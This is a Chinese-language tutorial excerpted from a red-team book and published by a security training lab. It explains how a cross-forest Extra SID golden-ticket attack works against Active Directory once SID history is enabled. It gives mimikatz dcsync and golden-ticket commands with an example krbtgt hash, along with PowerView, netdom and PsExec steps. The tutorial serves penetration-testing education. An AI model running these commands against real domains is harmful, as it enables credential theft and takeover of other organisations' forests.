跨森林之Extra SID攻击

科技   2024-07-22 17:02   江苏  

点击星标,即时接收最新推文

本文选自《内网安全攻防:红队之路》

扫描二维码五折购书

由于微软将森林信任设计为安全边界,在默认情况下,即使我们完全控制了当前森林,也可能无法入侵其他受信任的森林(trusted forest)。

下面介绍在非默认条件下(但也比较常见),如何入侵一个受信任的森林。

在《内网安全攻防:渗透测试实战指南》(第1版)里面介绍过如何利用域信任密钥入侵另一个域。同样,这个技术也可以应用到森林信任。

但是需要注意的是,森林信任引入的SID filtering(SID过滤的概念)。在森林信任里面,ExtraSIDs字段的内容被过滤掉了。例如,我们可以重复先前的攻击,在ms08067.cn创建一个TGT,在ExtraSIDs声明我们是ms08067.hk的企业管理员组成员。

当TGT(由森林间的信任密钥签名)到达ms08067.hk的域控时,会将ExtraSID记录移除,然后返回我们一个TGS。所以之前的攻击方法无效。

我们可以先测试一下。登录ms08067.cn的域的主机,然后以域管理员权限打开一个cmd,利用获取krbtgt的hash:

lsadump::dcsync /domain:ms08067.cn /user:ms08067\krbtgt


获取krbtgt hash

然后我们使用PowerView获取源域和目的域的SID:

Get-DomainSID -Domain ms08067.cnGet-DomainSID -Domain ms08067.hk

    

获取域SID

接下来我们创建一个黄金票据,在ExtraSID里面声明我们是企业管理员组:

kerberos::golden /user:hack /domain:ms08067.cn /sid:S-1-5-21-3754008493-3899165825-827219704 /krbtgt:caedeb0d26c68286514242359f780ad1 /sids:S-1-5-21-187469462-2874609549-2714275389-519 /ptt

创建黄金票据

验证票据的有效性,可以看到因为SID过滤,黄金票据没有起作用:

验证票据有效性

虽然在Active Directory Domains and Trusts管理图形界面没有显示,但我们实际上可以放松SID过滤保护。但是,在实际生产环境,为什么会降低安全级别,使得一个森林被入侵可能影响另一个森林?

我们假设"ms08067.cn"企业收购了" ms08067.hk"企业。两个企业都有活动目录基础设施,现在需要合并。一种方法是将ms08067.hk的所有用户和服务都移到ms08067.cn。   

用户帐户可能相对容易移动,但是服务器和服务可能存在一些问题。因此,可能有必要允许被迁移的用户访问其旧森林中的服务。SID history被设计来解决这个问题,在迁移期间,ms08067.hk将禁用SID过滤功能。

此外,在现实环境中,这种迁移往往需要很多年的时间,或者可能永远都不会完成,使森林信任在很长一段时间内都启用SID历史。

在未启用SID历史之前,我们看看信任对象的属性:

Get-DomainTrust -Domain ms08067.hk


启用SID历史前对象属性

在启用SID history后,TrustAttributes的值将会改变。要启用SID history,我们首先需要以administrator登录ms08067.hk的域控,然后使用netdom的trust子命令启用SID历史:

netdom trust ms08067.hk /d:ms08067.cn /enablesidhistory:yes


启用SID历史

当启用后,我们再次查看信任对象的属性:

启用SID历史后对象属性

输出的TREAT_AS_EXTERNAL值,表明森林信任被视为外部信任,但具有正常森林信任的可传递性。   

但此时,我们如果重复上述攻击步骤,还是无法成功。即使我们启用SID history,SID过滤仍然有效。微软规定,无论SID历史设置如何,任何RID小于1000的SID都会被过滤掉。

但是,对于外部信任,一个RID等于或者大于1000的SID不会被过滤。我们上面在启用了SID history后,看到森林信任被视为外部信任(external trust)。

非默认组的RID总是等于或者大于1000。如果我们能在ms08067.hk找到一个自定义的组,其组成员能让我们入侵一个账户或者主机,我们就可以把它作为进入另一个森林的入口点。

例如,我们枚举ms08067.hk内置管理员组成员:

Get-DomainGroupMember -Identity "Administrators" -Domain ms08067.hk


内置管理员组成员枚举

从上图输出可以看到,IRTeam组是内置管理员组成员,说明在ms08067.hk的域控上有本地管理员权限。此外,RID(1108)大于1000。

然而,还有一点需要注意。如果我们尝试利用的自定义组是global security group如Domain Admins或者Enterprise Admins,访问也会被过滤。

我们这里的例子中,内置的Administrators组是域本地组,所以我们可以利用获得另一个森林的权限。

修改黄金票据命令包含IRTeam的SID:

kerberos::golden /user:hack /domain:ms08067.cn /sid:S-1-5-21-3754008493-3899165825-827219704 /krbtgt:caedeb0d26c68286514242359f780ad1 /sids:S-1-5-21-187469462-2874609549-2714275389-1108 /ptt

 

修改黄金票据

将票据注入内存后,我们使用PsExec进行测试,可以看到成功获得ms08067.hk的权限:

PsExec测试跨森林黄金票据

上面的例子比较简单,但说明了整个攻击思路。虽然依赖于管理员误配置,但是作为渗透测试人员,在存在森林信任的环境中,我们应该始终检查SID过滤。


—  实验室旗下直播培训课程  —



和20000+位同学加入MS08067一起学习


Ms08067安全实验室
“Ms08067安全实验室”致力于网络安全的普及和培训!
 最新文章